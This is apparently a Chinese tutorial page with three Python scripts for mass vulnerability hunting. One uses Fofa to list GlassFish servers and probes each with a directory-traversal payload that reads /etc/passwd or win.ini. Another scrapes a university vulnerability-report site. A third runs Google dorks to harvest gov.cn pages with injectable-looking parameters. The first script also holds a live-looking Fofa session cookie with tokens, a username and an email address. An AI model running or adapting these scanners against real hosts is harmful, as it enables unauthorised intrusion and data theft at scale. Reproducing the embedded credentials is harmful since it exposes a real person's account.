image.png

Request 爬虫技术,lxml 数据提取,异常护理,Fofa 等使用说明

学习目的:
掌握利用公开或 0day 漏洞进行批量化的收集及验证脚本开发

image.png

image.png
image.png

image.png
image.png

批量fofa+漏洞检测:

  1. import lxml
  2. import requests
  3. import base64
  4. from lxml import html
  5. import time
  6. import sys
  7. '''
  8. url='http://121.58.249.154:4848'
  9. payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
  10. payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
  11. #data_windows=requests.get(url+payload_windows) #获取请求后的源代码
  12. #print(data_windows.content.decode('utf-8'))
  13. data_windows=requests.get(url+payload_windows).status_code #获取请请求后的状态码
  14. #print(data_windows)
  15. if data_windows==200 :
  16. print("漏洞存在")
  17. else :
  18. print("漏洞不存在")
  19. '''
  20. '''
  21. 如何实现这个漏洞批量化:
  22. 1.获取到可能存在漏洞的地址信息-借助Fofa进行获取目标
  23. 1.2 将请求的数据进行筛选
  24. 2.批量请求地址信息进行判断是否存在-单线程和多线程
  25. '''
  26. #网址收集
  27. #第1页
  28. #https://fofa.so/result?_=1608294544861&page=2&per_page=10&qbase64=ImdsYXNzZmlzaCIgJiYgcG9ydD0iNDg0OCI%3D
  29. def fofa_search (search_data,page) :
  30. #search_data='"glassfish"&&port="4848"'
  31. headers={'cookie':'refresh_token=eyJhbGciOiJIUzUxMiIsImtpZCI6Ik5XWTVZakF4TVRkalltSTJNRFZsWXpRM05EWXdaakF3TURVMlkyWTNZemd3TUdRd1pUTmpZUT09IiwidHlwIjoiSldUIn0.eyJpZCI6NjAzMywibWlkIjoxMDAwMDc3NTksInVzZXJuYW1lIjoi5qSw5a2Q55quIiwiZXhwIjoxNjM4MTc1Nzc0LCJpc3MiOiJyZWZyZXNoIn0.O-c_X-y0LI8kjp6fzPvRxRJjmzoQ3DFICDTsBYZHt_1_bANqBGp_LZ9B_kebKEEmYBmB9RlaQCKhYTQfeqGFoA; befor_router=; fofa_token=eyJhbGciOiJIUzUxMiIsImtpZCI6Ik5XWTVZakF4TVRkalltSTJNRFZsWXpRM05EWXdaakF3TURVMlkyWTNZemd3TUdRd1pUTmpZUT09IiwidHlwIjoiSldUIn0.eyJpZCI6NjAzMywibWlkIjoxMDAwMDc3NTksInVzZXJuYW1lIjoi5qSw5a2Q55quIiwiZXhwIjoxNjM4MDM1MDcwLjgxNjM3MywiaXNzIjoicmVmcmVzaCJ9.KtLW22Y4f8TQ3qYUKxrldmjJxDJW_PEm_4odhaYqo4ufByuUbPlEVvxcMONyyrBrmVHlYBJ8i3CQmwunaS46KQ; user=%7B%22id%22%3A6033%2C%22mid%22%3A100007759%2C%22is_admin%22%3Afalse%2C%22username%22%3A%22%E6%A4%B0%E5%AD%90%E7%9A%AE%22%2C%22nickname%22%3A%22%22%2C%22email%22%3A%22892245394%40qq.com%22%2C%22avatar_medium%22%3A%22https%3A%2F%2Fthirdwx.qlogo.cn%2Fmmopen%2Fvi_32%2FDYAIOgq83epoqm3KdhkhkaHicISeptugo3myhC64ia22ZrTgj3ruJI4PHoSwFmOoBFpGEHRtAAfj6FVsnRg6Gl2w%2F132%22%2C%22avatar_thumb%22%3A%22https%3A%2F%2Fthirdwx.qlogo.cn%2Fmmopen%2Fvi_32%2FDYAIOgq83epoqm3KdhkhkaHicISeptugo3myhC64ia22ZrTgj3ruJI4PHoSwFmOoBFpGEHRtAAfj6FVsnRg6Gl2w%2F132%22%2C%22key%22%3A%226cbec7ad19b471d8a8b2bbb8eb520938%22%2C%22rank_name%22%3A%22%E6%B3%A8%E5%86%8C%E7%94%A8%E6%88%B7%22%2C%22rank_level%22%3A0%2C%22company_name%22%3A%22%22%2C%22coins%22%3A0%2C%22credits%22%3A89%2C%22expiration%22%3A%22-%22%2C%22login_at%22%3A0%7D; Hm_lvt_b5514a35664fd4ac6a893a1e56956c97=1637916588,1637991871,1637993968,1637995816; Hm_lpvt_b5514a35664fd4ac6a893a1e56956c97=1637995819'}
  32. for yeshu in range(1,page+1):
  33. search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8")
  34. urls='https://fofa.so/result?qbase64='+search_data_bs+'&page='+str(yeshu)+'&page_size=10'
  35. #print(urls)
  36. try :
  37. print('正在提取第' + str(yeshu) + '页')
  38. result=requests.get(urls,headers=headers,timeout=0.5).content
  39. #print(result.decode('utf-8'))
  40. etree=html.etree
  41. soup = etree.HTML(result)
  42. ip_data=soup.xpath('//a[@target="_blank"]/@href')
  43. ipdata='\n'.join(ip_data)
  44. with open(r'ip.txt','a+') as f:
  45. f.write(ipdata + '\n')
  46. f.close()
  47. time.sleep(0.5) #上面不行,用这个
  48. #print(ip_data)
  49. except Exception as e :
  50. pass
  51. #漏洞检测
  52. def check_vuln():
  53. payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
  54. payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
  55. for ip in open('ip.txt'):
  56. ip=ip.replace('\n','')
  57. windows_url=ip+payload_windows
  58. linxu_url=ip+payload_linux
  59. try:
  60. vuln_code_l=requests.get(linxu_url).status_code
  61. vuln_code_w=requests.get(windows_url).status_code
  62. print("check->"+ip)
  63. if vuln_code_l==200 or vuln_code_w ==200:
  64. with open(r'vuln.txt','a+') as f:
  65. f.write(ip+'\n')
  66. f.close()
  67. time.sleep(0.5)
  68. except Exception as e:
  69. pass
  70. if __name__ == '__main__' :
  71. search=sys.argv[1]
  72. page=sys.argv[2]
  73. fofa_search(search,int(page))
  74. check_vuln()

一键提取src:

  1. import requests
  2. from lxml import html
  3. #yeshu=input("您要搞多少页数:")
  4. def src_tiqu(yeshu):
  5. for i in range(1,int(yeshu)):
  6. url='https://src.sjtu.edu.cn/list/?page='+str(i)
  7. print('提取->',str(i)+'页数')
  8. data=requests.get(url).content
  9. print(data.decode('utf-8'))
  10. etree = html.etree
  11. soup = etree.HTML(data)
  12. result=soup.xpath('//td[@class=""]/a/text()')
  13. results = '\n'.join(result)
  14. resultss = results.split()#去空
  15. for edu in resultss:
  16. print(edu)
  17. with open(r'src_edu.txt', 'a+', encoding='utf-8') as f:
  18. f.write(edu + '\n')
  19. f.close()
  20. if __name__ == '__main__':
  21. yeshu = input("您要搞多少页数:")
  22. src_tiqu(yeshu)

google爬虫:

  1. # 快乐的椰子皮
  2. # 王志伟
  3. import requests
  4. from lxml import html
  5. import time
  6. from selenium import webdriver
  7. headers={
  8. 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36'
  9. }
  10. url='https://www.google.com.hk/search?q=site:gov.cn+inurl:php%3Fid%3D&newwindow=1&hl=zh-CN&gbv=2&ei=FKCnYZ_WDsqG-AaSsbmYCw&start=90&sa=N&ved=2ahUKEwifsPOSgMP0AhVKA94KHZJYDrMQ8tMDegQIARA0&biw=1920&bih=937&dpr=1'
  11. print('提取->')
  12. try:
  13. driver_path = r'C:\Program Files\Google\Chrome\Application\chromedriver.exe' # chromedriver安装的位置
  14. driver = webdriver.Chrome(driver_path) # 使用谷歌浏览器,加载chromedriver驱动的位置
  15. driver.get(url) # 请求和获取页面
  16. page_source = driver.page_source # 获得页面的源代码
  17. #print(page_source)
  18. etree = html.etree
  19. page_source = etree.HTML(page_source)
  20. result=page_source.xpath('//div[@class="yuRUbf"]/a[@target="_blank"]/@href')
  21. results = '\n'.join(result)
  22. #print(results)
  23. with open(r'edu.txt', 'a+') as f:
  24. f.write(results + '\n')
  25. f.close()
  26. except Exception as e:
  27. pass